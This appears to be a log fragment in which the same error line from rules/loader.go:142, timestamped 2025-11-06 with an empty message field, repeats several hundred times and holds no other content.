source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 